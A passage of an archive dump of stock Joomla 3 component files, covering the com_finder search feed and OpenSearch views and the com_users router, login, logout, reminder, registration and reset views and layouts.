		$app = JFactory::getApplication();

		// Adjust the list limit to the feed limit.
		$app->input->set('limit', $app->get('feed_limit'));

		// Get view data.
		$state = $this->get('State');
		$params = $state->get('params');
		$query = $this->get('Query');
		$results = $this->get('Results');

		// Push out the query data.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		$explained = JHtml::_('query.explained', $query);

		// Set the document title.
		$title = $params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		// Configure the document description.
		if (!empty($explained))
		{
			$this->document->setDescription(html_entity_decode(strip_tags($explained), ENT_QUOTES, 'UTF-8'));
		}

		// Set the document link.
		$this->document->link = JRoute::_($query->toUri());

		// If we don't have any results, we are done.
		if (empty($results))
		{
			return;
		}

		// Convert the results to feed entries.
		foreach ($results as $result)
		{
			// Convert the result to a feed entry.
			$item              = new JFeedItem;
			$item->title       = $result->title;
			$item->link        = JRoute::_($result->route);
			$item->description = $result->description;

			// Use Unix date to cope for non-english languages
			$item->date        = (int) $result->start_date ? JHtml::_('date', $result->start_date, 'U') : $result->indexdate;

			// Get the taxonomy data.
			$taxonomy = $result->getTaxonomy();

			// Add the category to the feed if available.
			if (isset($taxonomy['Category']))
			{
				$node           = array_pop($taxonomy['Category']);
				$item->category = $node->title;
			}

			// Loads item info into RSS array
			$this->document->addItem($item);
		}
	}
}
com_finder/views/search/view.opensearch.php000060400000002515152453734460015100 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * OpenSearch View class for Finder
 *
 * @since  2.5
 */
class FinderViewSearch extends JViewLegacy
{
	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  A template file to load. [optional]
	 *
	 * @return  mixed  JError object on failure, void on success.
	 *
	 * @since   2.5
	 */
	public function display($tpl = null)
	{
		$doc = JFactory::getDocument();
		$app = JFactory::getApplication();

		$params = JComponentHelper::getParams('com_finder');
		$doc->setShortName($params->get('opensearch_name', $app->get('sitename')));
		$doc->setDescription($params->get('opensearch_description', $app->get('MetaDesc')));

		// Add the URL for the search
		$searchUri = JUri::base() . 'index.php?option=com_finder&q={searchTerms}';

		// Find the menu item for the search
		$menu  = $app->getMenu();
		$items = $menu->getItems('link', 'index.php?option=com_finder&view=search');

		if (isset($items[0]))
		{
			$searchUri .= '&Itemid=' . $items[0]->id;
		}

		$htmlSearch           = new JOpenSearchUrl;
		$htmlSearch->template = JRoute::_($searchUri);
		$doc->addUrl($htmlSearch);
	}
}
com_finder/finder.php000060400000001064152453734460010643 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

if (!JFactory::getUser()->authorise('core.manage', 'com_finder'))
{
	throw new JAccessExceptionNotallowed(JText::_('JERROR_ALERTNOAUTHOR'), 403);
}

$controller = JControllerLegacy::getInstance('Finder');
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
com_users/router.php000060400000004411152453734460010605 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Routing class from com_users
 *
 * @since  3.2
 */
class UsersRouter extends JComponentRouterView
{
	/**
	 * Users Component router constructor
	 *
	 * @param   JApplicationCms  $app   The application object
	 * @param   JMenu            $menu  The menu object to work with
	 */
	public function __construct($app = null, $menu = null)
	{
		$this->registerView(new JComponentRouterViewconfiguration('login'));
		$profile = new JComponentRouterViewconfiguration('profile');
		$profile->addLayout('edit');
		$this->registerView($profile);
		$this->registerView(new JComponentRouterViewconfiguration('registration'));
		$this->registerView(new JComponentRouterViewconfiguration('remind'));
		$this->registerView(new JComponentRouterViewconfiguration('reset'));

		parent::__construct($app, $menu);

		$this->attachRule(new JComponentRouterRulesMenu($this));

		$params = JComponentHelper::getParams('com_users');

		if ($params->get('sef_advanced', 0))
		{
			$this->attachRule(new JComponentRouterRulesStandard($this));
			$this->attachRule(new JComponentRouterRulesNomenu($this));
		}
		else
		{
			JLoader::register('UsersRouterRulesLegacy', __DIR__ . '/helpers/legacyrouter.php');
			$this->attachRule(new UsersRouterRulesLegacy($this));
		}
	}
}

/**
 * Users router functions
 *
 * These functions are proxys for the new router interface
 * for old SEF extensions.
 *
 * @param   array  &$query  REQUEST query
 *
 * @return  array  Segments of the SEF url
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function usersBuildRoute(&$query)
{
	$app = JFactory::getApplication();
	$router = new UsersRouter($app, $app->getMenu());

	return $router->build($query);
}

/**
 * Convert SEF URL segments into query variables
 *
 * @param   array  $segments  Segments in the current URL
 *
 * @return  array  Query variables
 *
 * @deprecated  4.0  Use Class based routers instead
 */
function usersParseRoute($segments)
{
	$app = JFactory::getApplication();
	$router = new UsersRouter($app, $app->getMenu());

	return $router->parse($segments);
}
com_users/views/login/view.html.php000060400000005727152453734460013462 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Login view class for Users.
 *
 * @since  1.5
 */
class UsersViewLogin extends JViewLegacy
{
	protected $form;

	protected $params;

	protected $state;

	protected $user;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		// Get the view data.
		$this->user   = JFactory::getUser();
		$this->form   = $this->get('Form');
		$this->state  = $this->get('State');
		$this->params = $this->state->get('params');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// Check for layout override
		$active = JFactory::getApplication()->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			$this->setLayout($active->query['layout']);
		}

		$tfa = JAuthenticationHelper::getTwoFactorMethods();
		$this->tfa = is_array($tfa) && count($tfa) > 1;

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$this->prepareDocument();

		parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$user  = JFactory::getUser();
		$login = $user->get('guest') ? true : false;
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', $login ? JText::_('JLOGIN') : JText::_('JLOGOUT'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_users/views/login/tmpl/logout.xml000060400000001757152453734460014042 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_LOGOUT_VIEW_DEFAULT_TITLE" option="COM_USER_LOGOUT_VIEW_DEFAULT_OPTION">
		<help key = "JHELP_MENUS_MENU_ITEM_USER_LOGOUT"/>
		<message>
			<![CDATA[COM_USER_LOGOUT_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the request variables for the layout. -->
	<fields name="request">
		<fieldset name="request">
			<field
				name="task"
				type="hidden"
				default="user.menulogout"
			/>
		</fieldset>
	</fields>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">
		<fieldset name="basic" label="COM_MENUS_BASIC_FIELDSET_LABEL">
			<field
				name="logout"
				type="modal_menu"
				label="JFIELD_LOGOUT_REDIRECT_PAGE_LABEL"
				description="JFIELD_LOGOUT_REDIRECT_PAGE_DESC"
				disable="separator,alias,heading,url"
				select="true"
				new="true"
				edit="true"
				clear="true"
				>
				<option value="">JDEFAULT</option>
			</field>
		</fieldset>
	</fields>
</metadata>
com_users/views/login/tmpl/default_login.php000060400000006356152453734460015334 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="login<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description')) != '') || $this->params->get('login_image') != '') : ?>
		<div class="login-description">
	<?php endif; ?>
	<?php if ($this->params->get('logindescription_show') == 1) : ?>
		<?php echo $this->params->get('login_description'); ?>
	<?php endif; ?>
	<?php if ($this->params->get('login_image') != '') : ?>
		<img src="<?php echo $this->escape($this->params->get('login_image')); ?>" class="login-image" alt="<?php echo JText::_('COM_USERS_LOGIN_IMAGE_ALT'); ?>" />
	<?php endif; ?>
	<?php if (($this->params->get('logindescription_show') == 1 && str_replace(' ', '', $this->params->get('login_description')) != '') || $this->params->get('login_image') != '') : ?>
		</div>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php?option=com_users&task=user.login'); ?>" method="post" class="form-validate form-horizontal well">
		<fieldset>
			<?php echo $this->form->renderFieldset('credentials'); ?>
			<?php if ($this->tfa) : ?>
				<?php echo $this->form->renderField('secretkey'); ?>
			<?php endif; ?>
			<?php if (JPluginHelper::isEnabled('system', 'remember')) : ?>
				<div class="control-group">
					<div class="control-label">
						<label for="remember">
							<?php echo JText::_('COM_USERS_LOGIN_REMEMBER_ME'); ?>
						</label>
					</div>
					<div class="controls">
						<input id="remember" type="checkbox" name="remember" class="inputbox" value="yes" />
					</div>
				</div>
			<?php endif; ?>
			<div class="control-group">
				<div class="controls">
					<button type="submit" class="btn btn-primary">
						<?php echo JText::_('JLOGIN'); ?>
					</button>
				</div>
			</div>
			<?php $return = $this->form->getValue('return', '', $this->params->get('login_redirect_url', $this->params->get('login_redirect_menuitem'))); ?>
			<input type="hidden" name="return" value="<?php echo base64_encode($return); ?>" />
			<?php echo JHtml::_('form.token'); ?>
		</fieldset>
	</form>
</div>
<div>
	<ul class="nav nav-tabs nav-stacked">
		<li>
			<a href="<?php echo JRoute::_('index.php?option=com_users&view=reset'); ?>">
				<?php echo JText::_('COM_USERS_LOGIN_RESET'); ?>
			</a>
		</li>
		<li>
			<a href="<?php echo JRoute::_('index.php?option=com_users&view=remind'); ?>">
				<?php echo JText::_('COM_USERS_LOGIN_REMIND'); ?>
			</a>
		</li>
		<?php $usersConfig = JComponentHelper::getParams('com_users'); ?>
		<?php if ($usersConfig->get('allowUserRegistration')) : ?>
			<li>
				<a href="<?php echo JRoute::_('index.php?option=com_users&view=registration'); ?>">
					<?php echo JText::_('COM_USERS_LOGIN_REGISTER'); ?>
				</a>
			</li>
		<?php endif; ?>
	</ul>
</div>
com_users/views/login/tmpl/default.php000060400000001035152453734460014131 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$cookieLogin = $this->user->get('cookieLogin');

if (!empty($cookieLogin) || $this->user->get('guest'))
{
	// The user is not logged in or needs to provide a password.
	echo $this->loadTemplate('login');
}
else
{
	// The user is already logged in.
	echo $this->loadTemplate('logout');
}
com_users/views/login/tmpl/default.xml000060400000010107152453734460014142 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_LOGIN_VIEW_DEFAULT_TITLE" option="COM_USER_LOGIN_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_USER_LOGIN"
		/>
		<message>
			<![CDATA[COM_USER_LOGIN_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>

	<!-- Add fields to the parameters object for the layout. -->
	<fields name="params">

		<!-- Basic options. -->
		<fieldset name="basic" addrulepath="components/com_users/models/rules" label="COM_MENUS_BASIC_FIELDSET_LABEL">

		<field
			name="loginredirectchoice"
			type="radio"
			label="COM_USERS_FIELD_LOGIN_REDIRECT_CHOICE_LABEL"
			description="COM_USERS_FIELD_LOGIN_REDIRECT_CHOICE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
			<option value="0">COM_USERS_FIELD_LOGIN_URL</option>
		</field>

		<field
			name="login_redirect_url"
			type="text"
			label="JFIELD_LOGIN_REDIRECT_URL_LABEL"
			description="JFIELD_LOGIN_REDIRECT_URL_DESC"
			class="inputbox"
			validate="loginuniquefield"
			field="login_redirect_menuitem"
			hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
			message="COM_USERS_FIELD_LOGIN_REDIRECT_ERROR"
			showon="loginredirectchoice:0"
		/>

		<field
			name="login_redirect_menuitem"
			type="modal_menu"
			label="COM_USERS_FIELD_LOGIN_REDIRECTMENU_LABEL"
			description="COM_USERS_FIELD_LOGIN_REDIRECTMENU_DESC"
			disable="separator,alias,heading,url"
			showon="loginredirectchoice:1"
			select="true"
			new="true"
			edit="true"
			clear="true"
			>
			<option value="">JDEFAULT</option>
		</field>

		<field
			name="logindescription_show"
			type="list"
			label="JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_LABEL"
			description="JFIELD_BASIS_LOGIN_DESCRIPTION_SHOW_DESC"
			default="1"
			class="chzn-color"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="login_description"
			type="textarea"
			label="JFIELD_BASIS_LOGIN_DESCRIPTION_LABEL"
			description="JFIELD_BASIS_LOGIN_DESCRIPTION_DESC"
			rows="3"
			cols="40"
			filter="safehtml"
			showon="logindescription_show:1"
		/>

		<field
			name="login_image"
			type="media"
			label="JFIELD_LOGIN_IMAGE_LABEL"
			description="JFIELD_LOGIN_IMAGE_DESC"
		/>

		<field 
			name="spacer1" 
			type="spacer"
			hr="true"
		/>

		<field
			name="logoutredirectchoice"
			type="radio"
			label="COM_USERS_FIELD_LOGOUT_REDIRECT_CHOICE_LABEL"
			description="COM_USERS_FIELD_LOGOUT_REDIRECT_CHOICE_DESC"
			class="btn-group btn-group-yesno"
			default="1"
			>
			<option value="1">COM_USERS_FIELD_LOGIN_MENUITEM</option>
			<option value="0">COM_USERS_FIELD_LOGIN_URL</option>
		</field>

		<field
			name="logout_redirect_url"
			type="text"
			label="JFIELD_LOGOUT_REDIRECT_URL_LABEL"
			description="JFIELD_LOGOUT_REDIRECT_URL_DESC"
			class="inputbox"
			field="logout_redirect_menuitem"
			validate="logoutuniquefield"
			hint="COM_USERS_FIELD_LOGIN_REDIRECT_PLACEHOLDER"
			message="COM_USERS_FIELD_LOGOUT_REDIRECT_ERROR"
			showon="logoutredirectchoice:0"
		/>
		
		<field
			name="logout_redirect_menuitem"
			type="modal_menu"
			label="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_LABEL"
			description="COM_USERS_FIELD_LOGOUT_REDIRECTMENU_DESC"
			disable="separator,alias,heading,url"
			showon="logoutredirectchoice:1"
			select="true"
			new="true"
			edit="true"
			clear="true"
			>
			<option value="">JDEFAULT</option>
		</field>

		<field
			name="logoutdescription_show"
			type="list"
			label="JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_LABEL"
			description="JFIELD_BASIS_LOGOUT_DESCRIPTION_SHOW_DESC"
			default="1"
			class="chzn-color"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="logout_description"
			type="textarea"
			label="JFIELD_BASIS_LOGOUT_DESCRIPTION_LABEL"
			description="JFIELD_BASIS_LOGOUT_DESCRIPTION_DESC"
			rows="3"
			cols="40"
			filter="safehtml"
			showon="logoutdescription_show:1"
		/>

		<field
			name="logout_image"
			type="media"
			label="JFIELD_LOGOUT_IMAGE_LABEL"
			description="JFIELD_LOGOUT_IMAGE_DESC"
		/>

		</fieldset>
	</fields>
</metadata>
com_users/views/login/tmpl/default_logout.php000060400000004212152453734460015522 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="logout<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
		<div class="logout-description">
	<?php endif; ?>
	<?php if ($this->params->get('logoutdescription_show') == 1) : ?>
		<?php echo $this->params->get('logout_description'); ?>
	<?php endif; ?>
	<?php if ($this->params->get('logout_image') != '') : ?>
		<img src="<?php echo $this->escape($this->params->get('logout_image')); ?>" class="thumbnail pull-right logout-image" alt="<?php echo JText::_('COM_USER_LOGOUT_IMAGE_ALT'); ?>" />
	<?php endif; ?>
	<?php if (($this->params->get('logoutdescription_show') == 1 && str_replace(' ', '', $this->params->get('logout_description')) != '')|| $this->params->get('logout_image') != '') : ?>
		</div>
	<?php endif; ?>
	<form action="<?php echo JRoute::_('index.php?option=com_users&task=user.logout'); ?>" method="post" class="form-horizontal well">
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary">
					<span class="icon-arrow-left icon-white"></span>
					<?php echo JText::_('JLOGOUT'); ?>
				</button>
			</div>
		</div>
		<?php if ($this->params->get('logout_redirect_url')) : ?>
			<input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_url', $this->form->getValue('return'))); ?>" />
		<?php else : ?>
			<input type="hidden" name="return" value="<?php echo base64_encode($this->params->get('logout_redirect_menuitem', $this->form->getValue('return'))); ?>" />
		<?php endif; ?>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/remind/view.html.php000060400000005137152453734460013623 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Registration view class for Users.
 *
 * @since  1.5
 */
class UsersViewRemind extends JViewLegacy
{
	protected $form;

	protected $params;

	protected $state;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  The template file to include
	 *
	 * @return  mixed
	 *
	 * @since   1.5
	 */
	public function display($tpl = null)
	{
		// Get the view data.
		$this->form   = $this->get('Form');
		$this->state  = $this->get('State');
		$this->params = $this->state->params;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// Check for layout override
		$active = JFactory::getApplication()->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			$this->setLayout($active->query['layout']);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$this->prepareDocument();

		parent::display($tpl);
	}

	/**
	 * Prepares the document.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_USERS_REMIND'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_users/views/remind/tmpl/default.php000060400000002415152453734460014302 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="remind<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form id="user-registration" action="<?php echo JRoute::_('index.php?option=com_users&task=remind.remind'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<?php if (isset($fieldset->label)) : ?>
					<p><?php echo JText::_($fieldset->label); ?></p>
				<?php endif; ?>
				<?php echo $this->form->renderFieldset($fieldset->name); ?>
			</fieldset>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JSUBMIT'); ?>
				</button>
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/remind/tmpl/default.xml000060400000000461152453734460014312 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_REMIND_VIEW_DEFAULT_TITLE" option="COM_USER_REMIND_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_USER_REMINDER"
		/>
		<message>
			<![CDATA[COM_USER_REMIND_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/registration/tmpl/complete.php000060400000000754152453734460015726 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

?>
<div class="registration-complete<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($this->params->get('page_heading')); ?>
		</h1>
	<?php endif; ?>
</div>
com_users/views/registration/tmpl/default.xml000060400000000505152453734460015545 0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
	<layout title="COM_USER_REGISTRATION_VIEW_DEFAULT_TITLE" option="COM_USER_REGISTRATION_VIEW_DEFAULT_OPTION">
		<help
			key="JHELP_MENUS_MENU_ITEM_USER_REGISTRATION"
		/>
		<message>
			<![CDATA[COM_USER_REGISTRATION_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>
</metadata>
com_users/views/registration/tmpl/default.php000060400000003543152453734460015541 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="registration<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1><?php echo $this->escape($this->params->get('page_heading')); ?></h1>
		</div>
	<?php endif; ?>
	<form id="member-registration" action="<?php echo JRoute::_('index.php?option=com_users&task=registration.register'); ?>" method="post" class="form-validate form-horizontal well" enctype="multipart/form-data">
		<?php // Iterate through the form fieldsets and display each one. ?>
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<?php $fields = $this->form->getFieldset($fieldset->name); ?>
			<?php if (count($fields)) : ?>
				<fieldset>
					<?php // If the fieldset has a label set, display it as the legend. ?>
					<?php if (isset($fieldset->label)) : ?>
						<legend><?php echo JText::_($fieldset->label); ?></legend>
					<?php endif; ?>
					<?php echo $this->form->renderFieldset($fieldset->name); ?>
				</fieldset>
			<?php endif; ?>
		<?php endforeach; ?>
		<div class="control-group">
			<div class="controls">
				<button type="submit" class="btn btn-primary validate">
					<?php echo JText::_('JREGISTER'); ?>
				</button>
				<a class="btn" href="<?php echo JRoute::_(''); ?>" title="<?php echo JText::_('JCANCEL'); ?>">
					<?php echo JText::_('JCANCEL'); ?>
				</a>
				<input type="hidden" name="option" value="com_users" />
				<input type="hidden" name="task" value="registration.register" />
			</div>
		</div>
		<?php echo JHtml::_('form.token'); ?>
	</form>
</div>
com_users/views/registration/view.html.php000060400000005306152453734460015055 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Registration view class for Users.
 *
 * @since  1.6
 */
class UsersViewRegistration extends JViewLegacy
{
	protected $data;

	protected $form;

	protected $params;

	protected $state;

	public $document;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  The template file to include
	 *
	 * @return  mixed
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		// Get the view data.
		$this->form   = $this->get('Form');
		$this->data   = $this->get('Data');
		$this->state  = $this->get('State');
		$this->params = $this->state->get('params');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode('<br />', $errors));

			return false;
		}

		// Check for layout override
		$active = JFactory::getApplication()->getMenu()->getActive();

		if (isset($active->query['layout']))
		{
			$this->setLayout($active->query['layout']);
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($this->params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$this->prepareDocument();

		return parent::display($tpl);
	}

	/**
	 * Prepares the document.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_USERS_REGISTRATION'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_users/views/reset/tmpl/default.php000060400000002414152453734460014145 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('behavior.keepalive');
JHtml::_('behavior.formvalidator');

?>
<div class="reset<?php echo $this->pageclass_sfx; ?>">
	<?php if ($this->params->get('show_page_heading')) : ?>
		<div class="page-header">
			<h1>
				<?php echo $this->escape($this->params->get('page_heading')); ?>
			</h1>
		</div>
	<?php endif; ?>
	<form id="user-registration" action="<?php echo JRoute::_('index.php?option=com_users&task=reset.request'); ?>" method="post" class="form-validate form-horizontal well">
		<?php foreach ($this->form->getFieldsets() as $fieldset) : ?>
			<fieldset>
				<?php if (isset($fieldset->label)) : ?>
